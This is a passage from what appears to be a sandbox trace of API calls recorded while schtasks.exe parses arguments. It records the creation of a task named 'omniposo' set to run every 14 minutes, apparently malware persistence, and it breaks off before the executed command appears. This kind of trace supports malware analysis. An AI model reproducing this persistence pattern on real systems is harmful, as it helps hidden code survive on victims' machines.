[0140.377] lstrlenW (lpString="?") returned 1 [0140.377] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.377] lstrlenW (lpString="tn") returned 2 [0140.377] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.377] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|?|") returned 3 [0140.377] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|tn|") returned 4 [0140.377] lstrlenW (lpString="|?|") returned 3 [0140.377] lstrlenW (lpString="|tn|") returned 4 [0140.377] SetLastError (dwErrCode=0x490) [0140.377] lstrlenW (lpString="create") returned 6 [0140.377] lstrlenW (lpString="create") returned 6 [0140.377] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.377] lstrlenW (lpString="tn") returned 2 [0140.378] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.378] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|create|") returned 8 [0140.378] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|tn|") returned 4 [0140.378] lstrlenW (lpString="|create|") returned 8 [0140.378] lstrlenW (lpString="|tn|") returned 4 [0140.378] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0140.378] SetLastError (dwErrCode=0x490) [0140.378] lstrlenW (lpString="delete") returned 6 [0140.378] lstrlenW (lpString="delete") returned 6 [0140.378] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.378] lstrlenW (lpString="tn") returned 2 [0140.378] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.378] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|delete|") returned 8 [0140.378] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|tn|") returned 4 [0140.378] lstrlenW (lpString="|delete|") returned 8 [0140.378] lstrlenW (lpString="|tn|") returned 4 [0140.378] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0140.378] SetLastError (dwErrCode=0x490) [0140.378] lstrlenW (lpString="query") returned 5 [0140.378] lstrlenW (lpString="query") returned 5 [0140.378] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.378] lstrlenW (lpString="tn") returned 2 [0140.378] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.378] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x8, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|query|") returned 7 [0140.378] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|tn|") returned 4 [0140.378] lstrlenW (lpString="|query|") returned 7 [0140.378] lstrlenW (lpString="|tn|") returned 4 [0140.379] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0140.379] SetLastError (dwErrCode=0x490) [0140.379] lstrlenW (lpString="change") returned 6 [0140.379] lstrlenW (lpString="change") returned 6 [0140.379] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.379] lstrlenW (lpString="tn") returned 2 [0140.379] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.379] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|change|") returned 8 [0140.379] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|tn|") returned 4 [0140.379] lstrlenW (lpString="|change|") returned 8 [0140.379] lstrlenW (lpString="|tn|") returned 4 [0140.379] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0140.379] SetLastError (dwErrCode=0x490) [0140.379] lstrlenW (lpString="run") returned 3 [0140.379] lstrlenW (lpString="run") returned 3 [0140.379] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.379] lstrlenW (lpString="tn") returned 2 [0140.379] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.379] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|run|") returned 5 [0140.379] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|tn|") returned 4 [0140.379] lstrlenW (lpString="|run|") returned 5 [0140.379] lstrlenW (lpString="|tn|") returned 4 [0140.379] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0140.379] SetLastError (dwErrCode=0x490) [0140.379] lstrlenW (lpString="end") returned 3 [0140.379] lstrlenW (lpString="end") returned 3 [0140.379] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.380] lstrlenW (lpString="tn") returned 2 [0140.380] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.380] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|end|") returned 5 [0140.380] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|tn|") returned 4 [0140.380] lstrlenW (lpString="|end|") returned 5 [0140.380] lstrlenW (lpString="|tn|") returned 4 [0140.380] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0140.380] SetLastError (dwErrCode=0x490) [0140.380] lstrlenW (lpString="showsid") returned 7 [0140.380] lstrlenW (lpString="showsid") returned 7 [0140.380] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.380] GetProcessHeap () returned 0x130000 [0140.380] HeapValidate (hHeap=0x130000, dwFlags=0x0, lpMem=0x14c240) returned 1 [0140.380] GetProcessHeap () returned 0x130000 [0140.380] RtlReAllocateHeap (Heap=0x130000, Flags=0xc, Ptr=0x14c240, Size=0x16) returned 0x14c240 [0140.380] lstrlenW (lpString="tn") returned 2 [0140.380] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.380] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0xa, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|showsid|") returned 9 [0140.380] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|tn|") returned 4 [0140.380] lstrlenW (lpString="|showsid|") returned 9 [0140.380] lstrlenW (lpString="|tn|") returned 4 [0140.380] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0140.381] SetLastError (dwErrCode=0x490) [0140.381] SetLastError (dwErrCode=0x490) [0140.381] SetLastError (dwErrCode=0x0) [0140.381] lstrlenW (lpString="/tn") returned 3 [0140.381] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0140.381] SetLastError (dwErrCode=0x490) [0140.381] SetLastError (dwErrCode=0x0) [0140.381] lstrlenW (lpString="/tn") returned 3 [0140.381] GetProcessHeap () returned 0x130000 [0140.381] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x8) returned 0x14c1e0 [0140.381] GetProcessHeap () returned 0x130000 [0140.381] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x14cbf0 [0140.381] SetLastError (dwErrCode=0x0) [0140.381] SetLastError (dwErrCode=0x0) [0140.381] lstrlenW (lpString="omniposo") returned 8 [0140.381] lstrlenW (lpString="-/") returned 2 [0140.381] StrChrIW (lpStart="-/", wMatch=0x6f) returned 0x0 [0140.381] SetLastError (dwErrCode=0x490) [0140.381] SetLastError (dwErrCode=0x490) [0140.381] SetLastError (dwErrCode=0x0) [0140.381] lstrlenW (lpString="omniposo") returned 8 [0140.381] StrChrIW (lpStart="omniposo", wMatch=0x3a) returned 0x0 [0140.381] SetLastError (dwErrCode=0x490) [0140.381] SetLastError (dwErrCode=0x0) [0140.381] lstrlenW (lpString="omniposo") returned 8 [0140.381] GetProcessHeap () returned 0x130000 [0140.381] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x12) returned 0x14d4e0 [0140.381] GetProcessHeap () returned 0x130000 [0140.381] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x14cc20 [0140.382] SetLastError (dwErrCode=0x0) [0140.382] SetLastError (dwErrCode=0x0) [0140.382] lstrlenW (lpString="/sc") returned 3 [0140.382] lstrlenW (lpString="-/") returned 2 [0140.382] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0140.382] lstrlenW (lpString="?") returned 1 [0140.382] lstrlenW (lpString="?") returned 1 [0140.382] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.382] lstrlenW (lpString="sc") returned 2 [0140.382] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.382] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|?|") returned 3 [0140.382] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|sc|") returned 4 [0140.382] lstrlenW (lpString="|?|") returned 3 [0140.382] lstrlenW (lpString="|sc|") returned 4 [0140.382] SetLastError (dwErrCode=0x490) [0140.382] lstrlenW (lpString="create") returned 6 [0140.382] lstrlenW (lpString="create") returned 6 [0140.382] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.382] lstrlenW (lpString="sc") returned 2 [0140.382] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.382] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|create|") returned 8 [0140.382] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|sc|") returned 4 [0140.382] lstrlenW (lpString="|create|") returned 8 [0140.382] lstrlenW (lpString="|sc|") returned 4 [0140.382] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0140.382] SetLastError (dwErrCode=0x490) [0140.382] lstrlenW (lpString="delete") returned 6 [0140.383] lstrlenW (lpString="delete") returned 6 [0140.383] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.383] lstrlenW (lpString="sc") returned 2 [0140.383] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.383] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|delete|") returned 8 [0140.383] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|sc|") returned 4 [0140.383] lstrlenW (lpString="|delete|") returned 8 [0140.383] lstrlenW (lpString="|sc|") returned 4 [0140.383] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0140.383] SetLastError (dwErrCode=0x490) [0140.383] lstrlenW (lpString="query") returned 5 [0140.383] lstrlenW (lpString="query") returned 5 [0140.383] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.383] lstrlenW (lpString="sc") returned 2 [0140.383] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.383] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x8, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|query|") returned 7 [0140.383] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|sc|") returned 4 [0140.383] lstrlenW (lpString="|query|") returned 7 [0140.383] lstrlenW (lpString="|sc|") returned 4 [0140.383] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0140.383] SetLastError (dwErrCode=0x490) [0140.383] lstrlenW (lpString="change") returned 6 [0140.383] lstrlenW (lpString="change") returned 6 [0140.383] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.383] lstrlenW (lpString="sc") returned 2 [0140.383] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.384] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|change|") returned 8 [0140.384] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|sc|") returned 4 [0140.384] lstrlenW (lpString="|change|") returned 8 [0140.384] lstrlenW (lpString="|sc|") returned 4 [0140.384] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0140.384] SetLastError (dwErrCode=0x490) [0140.384] lstrlenW (lpString="run") returned 3 [0140.384] lstrlenW (lpString="run") returned 3 [0140.384] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.384] lstrlenW (lpString="sc") returned 2 [0140.384] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.384] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|run|") returned 5 [0140.384] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|sc|") returned 4 [0140.384] lstrlenW (lpString="|run|") returned 5 [0140.384] lstrlenW (lpString="|sc|") returned 4 [0140.384] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0140.384] SetLastError (dwErrCode=0x490) [0140.384] lstrlenW (lpString="end") returned 3 [0140.384] lstrlenW (lpString="end") returned 3 [0140.384] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.384] lstrlenW (lpString="sc") returned 2 [0140.384] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.384] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|end|") returned 5 [0140.384] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|sc|") returned 4 [0140.384] lstrlenW (lpString="|end|") returned 5 [0140.385] lstrlenW (lpString="|sc|") returned 4 [0140.385] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0140.385] SetLastError (dwErrCode=0x490) [0140.385] lstrlenW (lpString="showsid") returned 7 [0140.385] lstrlenW (lpString="showsid") returned 7 [0140.385] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.385] lstrlenW (lpString="sc") returned 2 [0140.385] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.385] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0xa, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|showsid|") returned 9 [0140.385] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|sc|") returned 4 [0140.385] lstrlenW (lpString="|showsid|") returned 9 [0140.385] lstrlenW (lpString="|sc|") returned 4 [0140.385] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0140.385] SetLastError (dwErrCode=0x490) [0140.385] SetLastError (dwErrCode=0x490) [0140.385] SetLastError (dwErrCode=0x0) [0140.385] lstrlenW (lpString="/sc") returned 3 [0140.385] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0140.385] SetLastError (dwErrCode=0x490) [0140.385] SetLastError (dwErrCode=0x0) [0140.385] lstrlenW (lpString="/sc") returned 3 [0140.385] GetProcessHeap () returned 0x130000 [0140.385] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x8) returned 0x14dcb0 [0140.385] GetProcessHeap () returned 0x130000 [0140.385] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x14cc50 [0140.385] SetLastError (dwErrCode=0x0) [0140.385] SetLastError (dwErrCode=0x0) [0140.385] lstrlenW (lpString="MINUTE") returned 6 [0140.385] lstrlenW (lpString="-/") returned 2 [0140.385] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0140.386] SetLastError (dwErrCode=0x490) [0140.386] SetLastError (dwErrCode=0x490) [0140.386] SetLastError (dwErrCode=0x0) [0140.386] lstrlenW (lpString="MINUTE") returned 6 [0140.386] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0140.386] SetLastError (dwErrCode=0x490) [0140.386] SetLastError (dwErrCode=0x0) [0140.386] lstrlenW (lpString="MINUTE") returned 6 [0140.386] GetProcessHeap () returned 0x130000 [0140.386] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0xe) returned 0x14d500 [0140.386] GetProcessHeap () returned 0x130000 [0140.386] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x14cc80 [0140.386] SetLastError (dwErrCode=0x0) [0140.386] SetLastError (dwErrCode=0x0) [0140.386] lstrlenW (lpString="/mo") returned 3 [0140.386] lstrlenW (lpString="-/") returned 2 [0140.386] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0140.386] lstrlenW (lpString="?") returned 1 [0140.386] lstrlenW (lpString="?") returned 1 [0140.386] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.386] lstrlenW (lpString="mo") returned 2 [0140.386] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.386] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|?|") returned 3 [0140.386] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|mo|") returned 4 [0140.386] lstrlenW (lpString="|?|") returned 3 [0140.386] lstrlenW (lpString="|mo|") returned 4 [0140.386] SetLastError (dwErrCode=0x490) [0140.386] lstrlenW (lpString="create") returned 6 [0140.386] lstrlenW (lpString="create") returned 6 [0140.386] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.387] lstrlenW (lpString="mo") returned 2 [0140.387] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.387] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|create|") returned 8 [0140.387] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|mo|") returned 4 [0140.387] lstrlenW (lpString="|create|") returned 8 [0140.387] lstrlenW (lpString="|mo|") returned 4 [0140.387] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0140.387] SetLastError (dwErrCode=0x490) [0140.387] lstrlenW (lpString="delete") returned 6 [0140.387] lstrlenW (lpString="delete") returned 6 [0140.387] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.387] lstrlenW (lpString="mo") returned 2 [0140.387] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.387] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|delete|") returned 8 [0140.387] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|mo|") returned 4 [0140.387] lstrlenW (lpString="|delete|") returned 8 [0140.387] lstrlenW (lpString="|mo|") returned 4 [0140.387] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0140.387] SetLastError (dwErrCode=0x490) [0140.387] lstrlenW (lpString="query") returned 5 [0140.387] lstrlenW (lpString="query") returned 5 [0140.387] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.387] lstrlenW (lpString="mo") returned 2 [0140.387] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.387] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x8, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|query|") returned 7 [0140.387] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|mo|") returned 4 [0140.388] lstrlenW (lpString="|query|") returned 7 [0140.388] lstrlenW (lpString="|mo|") returned 4 [0140.388] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0140.388] SetLastError (dwErrCode=0x490) [0140.388] lstrlenW (lpString="change") returned 6 [0140.388] lstrlenW (lpString="change") returned 6 [0140.388] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.388] lstrlenW (lpString="mo") returned 2 [0140.388] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.388] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|change|") returned 8 [0140.388] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|mo|") returned 4 [0140.388] lstrlenW (lpString="|change|") returned 8 [0140.388] lstrlenW (lpString="|mo|") returned 4 [0140.388] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0140.388] SetLastError (dwErrCode=0x490) [0140.388] lstrlenW (lpString="run") returned 3 [0140.388] lstrlenW (lpString="run") returned 3 [0140.388] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.388] lstrlenW (lpString="mo") returned 2 [0140.388] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.388] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|run|") returned 5 [0140.388] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|mo|") returned 4 [0140.388] lstrlenW (lpString="|run|") returned 5 [0140.388] lstrlenW (lpString="|mo|") returned 4 [0140.388] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0140.388] SetLastError (dwErrCode=0x490) [0140.389] lstrlenW (lpString="end") returned 3 [0140.389] lstrlenW (lpString="end") returned 3 [0140.389] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.389] lstrlenW (lpString="mo") returned 2 [0140.389] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.389] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|end|") returned 5 [0140.389] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|mo|") returned 4 [0140.389] lstrlenW (lpString="|end|") returned 5 [0140.389] lstrlenW (lpString="|mo|") returned 4 [0140.389] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0140.389] SetLastError (dwErrCode=0x490) [0140.389] lstrlenW (lpString="showsid") returned 7 [0140.389] lstrlenW (lpString="showsid") returned 7 [0140.389] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.389] lstrlenW (lpString="mo") returned 2 [0140.389] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.389] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0xa, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|showsid|") returned 9 [0140.389] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|mo|") returned 4 [0140.389] lstrlenW (lpString="|showsid|") returned 9 [0140.389] lstrlenW (lpString="|mo|") returned 4 [0140.389] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0140.389] SetLastError (dwErrCode=0x490) [0140.389] SetLastError (dwErrCode=0x490) [0140.389] SetLastError (dwErrCode=0x0) [0140.389] lstrlenW (lpString="/mo") returned 3 [0140.389] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0140.389] SetLastError (dwErrCode=0x490) [0140.390] SetLastError (dwErrCode=0x0) [0140.390] lstrlenW (lpString="/mo") returned 3 [0140.390] GetProcessHeap () returned 0x130000 [0140.390] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x8) returned 0x14dcd0 [0140.390] GetProcessHeap () returned 0x130000 [0140.390] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x14ccb0 [0140.390] SetLastError (dwErrCode=0x0) [0140.390] SetLastError (dwErrCode=0x0) [0140.390] lstrlenW (lpString="14") returned 2 [0140.390] lstrlenW (lpString="-/") returned 2 [0140.390] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0140.390] SetLastError (dwErrCode=0x490) [0140.390] SetLastError (dwErrCode=0x490) [0140.390] SetLastError (dwErrCode=0x0) [0140.390] lstrlenW (lpString="14") returned 2 [0140.390] StrChrIW (lpStart="14", wMatch=0x3a) returned 0x0 [0140.390] SetLastError (dwErrCode=0x490) [0140.390] SetLastError (dwErrCode=0x0) [0140.390] lstrlenW (lpString="14") returned 2 [0140.390] GetProcessHeap () returned 0x130000 [0140.390] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x6) returned 0x14dcf0 [0140.390] GetProcessHeap () returned 0x130000 [0140.390] RtlAllocateHeap (HeapHandle=0x130000, Flags=0xc, Size=0x20) returned 0x14cce0 [0140.390] SetLastError (dwErrCode=0x0) [0140.390] SetLastError (dwErrCode=0x0) [0140.390] lstrlenW (lpString="/tr") returned 3 [0140.390] lstrlenW (lpString="-/") returned 2 [0140.390] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0140.390] lstrlenW (lpString="?") returned 1 [0140.390] lstrlenW (lpString="?") returned 1 [0140.390] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.391] lstrlenW (lpString="tr") returned 2 [0140.391] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.391] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|?|") returned 3 [0140.391] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|tr|") returned 4 [0140.391] lstrlenW (lpString="|?|") returned 3 [0140.391] lstrlenW (lpString="|tr|") returned 4 [0140.391] SetLastError (dwErrCode=0x490) [0140.391] lstrlenW (lpString="create") returned 6 [0140.391] lstrlenW (lpString="create") returned 6 [0140.391] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.391] lstrlenW (lpString="tr") returned 2 [0140.391] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.391] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|create|") returned 8 [0140.391] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|tr|") returned 4 [0140.391] lstrlenW (lpString="|create|") returned 8 [0140.391] lstrlenW (lpString="|tr|") returned 4 [0140.391] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0140.391] SetLastError (dwErrCode=0x490) [0140.391] lstrlenW (lpString="delete") returned 6 [0140.391] lstrlenW (lpString="delete") returned 6 [0140.391] _memicmp (_Buf1=0x14c1c0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.391] lstrlenW (lpString="tr") returned 2 [0140.391] _memicmp (_Buf1=0x14c200, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.391] _vsnwprintf (in: _Buffer=0x14c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f358 | out: _Buffer="|delete|") returned 8 [0140.391] _vsnwprintf (in: _Buffer=0x14c220, _BufferCount=0x5, 